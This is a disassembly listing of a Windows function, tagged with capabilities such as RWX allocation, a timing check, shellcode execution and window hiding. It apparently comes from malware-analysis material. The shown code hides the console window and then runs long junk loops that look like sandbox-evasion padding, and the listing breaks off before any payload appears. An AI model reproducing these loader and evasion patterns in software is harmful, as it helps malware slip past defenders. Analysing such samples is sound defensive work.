Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x5268
call fcn.14003be10
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x51d0], xmm6
mov dword [rbp + 0x5210], ecx
mov qword [rbp + 0x5218], rdx
call fcn.14003ae60
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x3020], rax
mov rax, qword [rbp + 0x3020]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp + 0x51cc], 0xffffffff
add dword [rbp + 0x51cc], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x4c
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.14003c580
movq rax, xmm0
mov qword [rbp + 0x3018], rax
cmp dword [rbp + 0x51cc], 0xb53
jle 0x1400015e8
mov ecx, 0x3504
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3010], rax
mov ecx, 0x3504
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3008], rax
mov ecx, 0x3504
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3000], rax
mov ecx, 0x3504
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2ff8], rax
mov dword [rbp + 0x51c4], 0xd40
mov dword [rbp + 0x51c8], 0
jmp 0x14000179b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51c8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3010]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51c8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3008]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x51c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3010]
add rax, rdx
mov edx, dword [rbp + 0x51c8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3000]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x51c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3008]
add rax, rdx
mov edx, dword [rbp + 0x51c8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2ff8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x51c4], 1
add dword [rbp + 0x51c8], 1
cmp dword [rbp + 0x51c8], 0xd40
jle 0x14000168f
mov rax, qword [rbp + 0x3010]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x3008]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x3000]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2ff8]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x288c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2ff0], rax
mov dword [rbp + 0x51bc], 0
mov dword [rbp + 0x51b8], 0
mov dword [rbp + 0x51c0], 0
jmp 0x1400018be
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51c0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2ff0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x51c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2ff0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000188d
add dword [rbp + 0x51bc], 1
jmp 0x1400018b7
mov eax, dword [rbp + 0x51c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2ff0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400018b7
add dword [rbp + 0x51b8], 1
add dword [rbp + 0x51c0], 1
cmp dword [rbp + 0x51c0], 0xa22
jle 0x14000181b
mov rax, qword [rbp + 0x2ff0]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x4f68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2fe8], rax
mov dword [rbp + 0x51b4], 0
jmp 0x140001947
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51b4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2fe8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x51b4], 1
cmp dword [rbp + 0x51b4], 0x13d9
jle 0x1400018fa
mov dword [rbp + 0x51b4], 0
jmp 0x140001a37
cmp dword [rbp + 0x51b4], 0
je 0x1400019a7
mov eax, dword [rbp + 0x51b4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2fe8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x51b4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x2fe8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400019b3
add dword [rbp + 0x51b4], 1
jmp 0x140001a37
mov eax, dword [rbp + 0x51b4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2fe8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x4e0], eax
mov eax, dword [rbp + 0x51b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2fe8]
add rax, rdx
mov edx, dword [rbp + 0x51b4]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x2fe8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x51b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2fe8]
add rdx, rax
mov eax, dword [rbp + 0x4e0]
mov dword [rdx], eax
sub dword [rbp + 0x51b4], 1
cmp dword [rbp + 0x51b4], 0x13d9
jle 0x140001962
mov rax, qword [rbp + 0x2fe8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x2fe4], 0
mov ecx, 0x58b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2fd8], rax
mov dword [rbp + 0x51b0], 0
jmp 0x140001b61
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x2fe4], edx
mov edx, dword [rbp + 0x2fe4]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x2fe4], eax
cmp dword [rbp + 0x2fe4], 0x168
jle 0x140001ae7
mov eax, dword [rbp + 0x51b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2fd8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001b5a
cmp dword [rbp + 0x2fe4], 0
jns 0x140001b14
mov eax, dword [rbp + 0x51b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2fd8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001b5a
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2fe4]
movsd xmm0, qword [0x140044220]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140044228]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x51b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2fd8]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x51b0], 1
cmp dword [rbp + 0x51b0], 0x162b
jle 0x140001a80
mov rax, qword [rbp + 0x2fd8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x51ac], 0
mov dword [rbp + 0x51a8], 1
mov dword [rbp + 0x51a4], 0
mov dword [rbp + 0x2fd4], 0x912
jmp 0x140001bdd
mov edx, dword [rbp + 0x51ac]
mov eax, dword [rbp + 0x51a8]
add eax, edx
mov dword [rbp + 0x4e4], eax
add dword [rbp + 0x51a4], 1
mov eax, dword [rbp + 0x51a8]
mov dword [rbp + 0x51ac], eax
mov eax, dword [rbp + 0x4e4]
mov dword [rbp + 0x51a8], eax
mov eax, dword [rbp + 0x51a4]
cmp eax, dword [rbp + 0x2fd4]
jl 0x140001baa
mov ecx, 0x1594
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2fc8], rax
mov dword [rbp + 0x519c], 0
mov dword [rbp + 0x5198], 0
mov dword [rbp + 0x51a0], 0
jmp 0x140001c68
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2fc8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x51a0], 1
cmp dword [rbp + 0x51a0], 0x564
jle 0x140001c1c
mov dword [rbp + 0x51a0], 0
jmp 0x140001ca9
mov eax, dword [rbp + 0x51a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2fc8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x519c], eax
add dword [rbp + 0x51a0], 1
cmp dword [rbp + 0x51a0], 0x564
jle 0x140001c80
mov dword [rbp + 0x51a0], 0
jmp 0x140001d31
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x5198]
mov eax, dword [rbp + 0x51a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2fc8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x4e8]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140044230]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.14003c750
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x5198], eax
add dword [rbp + 0x51a0], 1
cmp dword [rbp + 0x51a0], 0x564
jle 0x140001cc1
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x5198]
movss xmm1, dword [0x140044238]
divss xmm0, xmm1
movss dword [rbp + 0x2fc4], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x2fc4]
movq rax, xmm3
movq xmm0, rax
call fcn.14003be50
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x2fc0], xmm0
mov rax, qword [rbp + 0x2fc8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5194], 0xffffffff
mov ecx, 0x6140
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2fb8], rax
add dword [rbp + 0x5194], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x5194]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2fb8]
add rax, rdx
movsd xmm1, qword [0x140044240]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5194]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2fb8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x5194]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2fb8]
add rax, rdx
movq xmm1, qword [0x140044250]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x5194], 0xc26
jle 0x140001dae
mov ecx, 0x2d48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2fb0], rax
mov dword [rbp + 0x5190], 0
jmp 0x140001eaf
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5190]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2fb0]
add rax, rdx
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x5190], 1
cmp dword [rbp + 0x5190], 0x5a8
jle 0x140001e71
mov dword [rbp + 0x5190], 0
jmp 0x140001f4c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x5190]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2fb0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5190]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2fb0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.14003c480
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5190], 1
cmp dword [rbp + 0x5190], 0x5a8
jle 0x140001eca
pxor xmm0, xmm0
movsd qword [rbp + 0x5188], xmm0
movsd xmm0, qword [0x140044240]
movsd qword [rbp + 0x5180], xmm0
mov dword [rbp + 0x517c], 0
jmp 0x140001fe7
movsd xmm0, qword [rbp + 0x5180]
addsd xmm0, xmm0
movsd qword [rbp + 0x5180], xmm0
movsd xmm0, qword [0x140044240]
divsd xmm0, qword [rbp + 0x5180]
movsd xmm1, qword [rbp + 0x5188]
addsd xmm0, xmm1
movsd qword [rbp + 0x5188], xmm0
movsd xmm0, qword [0x140044240]
ucomisd xmm0, qword [rbp + 0x5188]
jp 0x140001fe0
movsd xmm0, qword [0x140044240]
ucomisd xmm0, qword [rbp + 0x5188]
je 0x140001ff5
add dword [rbp + 0x517c], 1
cmp dword [rbp + 0x517c], 0xfd7
jle 0x140001f84
jmp 0x140001ff6
nop
mov dword [rbp + 0x5178], 0xffffffff
mov ecx, 0x7710
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2fa8], rax
add dword [rbp + 0x5178], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5178]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2fa8]
add rax, rdx
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x5178]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2fa8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5178]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2fa8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.14003c480
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5178], 0xee0
jle 0x140002011
pxor xmm0, xmm0
movsd qword [rbp + 0x5170], xmm0
movsd xmm0, qword [0x140044240]
movsd qword [rbp + 0x5168], xmm0
mov dword [rbp + 0x5164], 0
add dword [rbp + 0x5164], 1
movsd xmm0, qword [rbp + 0x5168]
addsd xmm0, xmm0
movsd qword [rbp + 0x5168], xmm0
movsd xmm0, qword [0x140044240]
divsd xmm0, qword [rbp + 0x5168]
movsd xmm1, qword [rbp + 0x5170]
addsd xmm0, xmm1
movsd qword [rbp + 0x5170], xmm0
movsd xmm0, qword [0x140044240]
ucomisd xmm0, qword [rbp + 0x5170]
jp 0x140002163
movsd xmm0, qword [0x140044240]
ucomisd xmm0, qword [rbp + 0x5170]
je 0x140002171
cmp dword [rbp + 0x5164], 0xb38
jle 0x140002100
jmp 0x140002172
nop
mov dword [rbp + 0x5160], 0xffffffff
add dword [rbp + 0x5160], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.14003c0c0
movq rax, xmm0
mov qword [rbp + 0x2fa0], rax
cmp dword [rbp + 0x5160], 0x1130
jle 0x14000217c
mov dword [rbp + 0x5158], 0
mov dword [rbp + 0x2f9c], 0
mov ecx, 0x1398
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f90], rax
mov dword [rbp + 0x515c], 0
jmp 0x140002279
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x515c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f90]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x515c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f90]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x5158], eax
add dword [rbp + 0x515c], 1
cmp dword [rbp + 0x515c], 0x4e5
jle 0x1400021fd
mov rax, qword [rbp + 0x2f90]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5154], 0xffffffff
mov ecx, 0x5aa0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f88], rax
add dword [rbp + 0x5154], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5154]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f88]
add rax, rdx
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x5154]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f88]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5154]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2f88]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.14003c480
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5154], 0xb52
jle 0x1400022b3
mov ecx, 0x4aa0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f80], rax
mov dword [rbp + 0x514c], 0
mov dword [rbp + 0x5148], 0
mov dword [rbp + 0x5150], 0
jmp 0x1400023fa
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5150]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2f80]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x5150], 1
cmp dword [rbp + 0x5150], 0x12a7
jle 0x1400023ad
mov dword [rbp + 0x5150], 0
mov dword [rbp + 0x5150], 0
jmp 0x140002479
mov eax, dword [rbp + 0x5150]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f80]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002448
add dword [rbp + 0x514c], 1
jmp 0x140002472
mov eax, dword [rbp + 0x5150]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f80]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002472
add dword [rbp + 0x5148], 1
add dword [rbp + 0x5150], 1
cmp dword [rbp + 0x5150], 0x12a7
jle 0x14000241c
mov rax, qword [rbp + 0x2f80]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5144], 0xffffffff
add dword [rbp + 0x5144], 1
call sub.msvcrt.dll_rand
shl eax, 2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.14003c0c0
movq rax, xmm0
mov qword [rbp + 0x2f78], rax
cmp dword [rbp + 0x5144], 0x233
jle 0x14000249e
mov ecx, 0x2300
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f70], rax
mov dword [rbp + 0x5140], 0
jmp 0x140002552
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5140]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2f70]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x5140], 1
cmp dword [rbp + 0x5140], 0x8bf
jle 0x140002505
mov dword [rbp + 0x5140], 0
jmp 0x140002642
cmp dword [rbp + 0x5140], 0
je 0x1400025b2
mov eax, dword [rbp + 0x5140]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2f70]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5140]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x2f70]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400025be
add dword [rbp + 0x5140], 1
jmp 0x140002642
mov eax, dword [rbp + 0x5140]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2f70]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x4ec], eax
mov eax, dword [rbp + 0x5140]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f70]
add rax, rdx
mov edx, dword [rbp + 0x5140]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x2f70]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5140]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f70]
add rdx, rax
mov eax, dword [rbp + 0x4ec]
mov dword [rdx], eax
sub dword [rbp + 0x5140], 1
cmp dword [rbp + 0x5140], 0x8bf
jle 0x14000256d
mov rax, qword [rbp + 0x2f70]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x513c], 0xffffffff
mov ecx, 0x2d98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f68], rax
add dword [rbp + 0x513c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x513c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f68]
add rax, rdx
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x513c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2f68]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x513c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2f68]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.14003c480
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x513c], 0x5b1
jle 0x14000267c
mov dword [rbp + 0x5138], 0
jmp 0x140002792
call sub.msvcrt.dll_rand
imul eax, eax, 0x27c
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140044218]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.14003c580
movq rax, xmm0
mov qword [rbp + 0x4f0], rax
add dword [rbp + 0x5138], 1
cmp dword [rbp + 0x5138], 0x279
jle 0x140002751
mov ecx, 0x4924
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f60], rax
mov dword [rbp + 0x5134], 0
jmp 0x140002847
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x5134]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f60]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x5134], 1
cmp dword [rbp + 0x5134], 0x1248
jle 0x1400027be
mov dword [rbp + 0x5134], 0
jmp 0x140002973
mov dword [rbp + 0x500], 0
jmp 0x140002955
mov eax, dword [rbp + 0x5134]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f60]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x500]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f60]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000294e
mov eax, dword [rbp + 0x500]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f60]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x4fc], xmm0
mov eax, dword [rbp + 0x5134]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f60]
add rdx, rax
mov eax, dword [rbp + 0x500]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x2f60]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x500]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f60]
add rax, rdx
movss xmm0, dword [rbp + 0x4fc]
movss dword [rax], xmm0
add dword [rbp + 0x5134], 1
mov eax, 0x1248
sub eax, dword [rbp + 0x5134]
cmp dword [rbp + 0x500], eax
jl 0x140002875
add dword [rbp + 0x5134], 1
cmp dword [rbp + 0x5134], 0x1248
jle 0x140002866
mov rax, qword [rbp + 0x2f60]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x512c], 1
jmp 0x140002a4e
mov dword [rbp + 0x5130], 0
mov eax, dword [rbp + 0x512c]
mov dword [rbp + 0x5128], eax
jmp 0x140002a24
mov edx, dword [rbp + 0x5128]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x504], edx
mov eax, dword [rbp + 0x504]
imul eax, eax
imul eax, dword [rbp + 0x504]
add dword [rbp + 0x5130], eax
mov eax, dword [rbp + 0x5128]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x5128], eax
cmp dword [rbp + 0x5128], 0
jne 0x1400029b9
mov eax, dword [rbp + 0x5130]
cmp eax, dword [rbp + 0x512c]
jne 0x140002a47
mov eax, dword [rbp + 0x512c]
mov dword [rbp + 0x508], eax
add dword [rbp + 0x512c], 1
cmp dword [rbp + 0x512c], 0x6ed
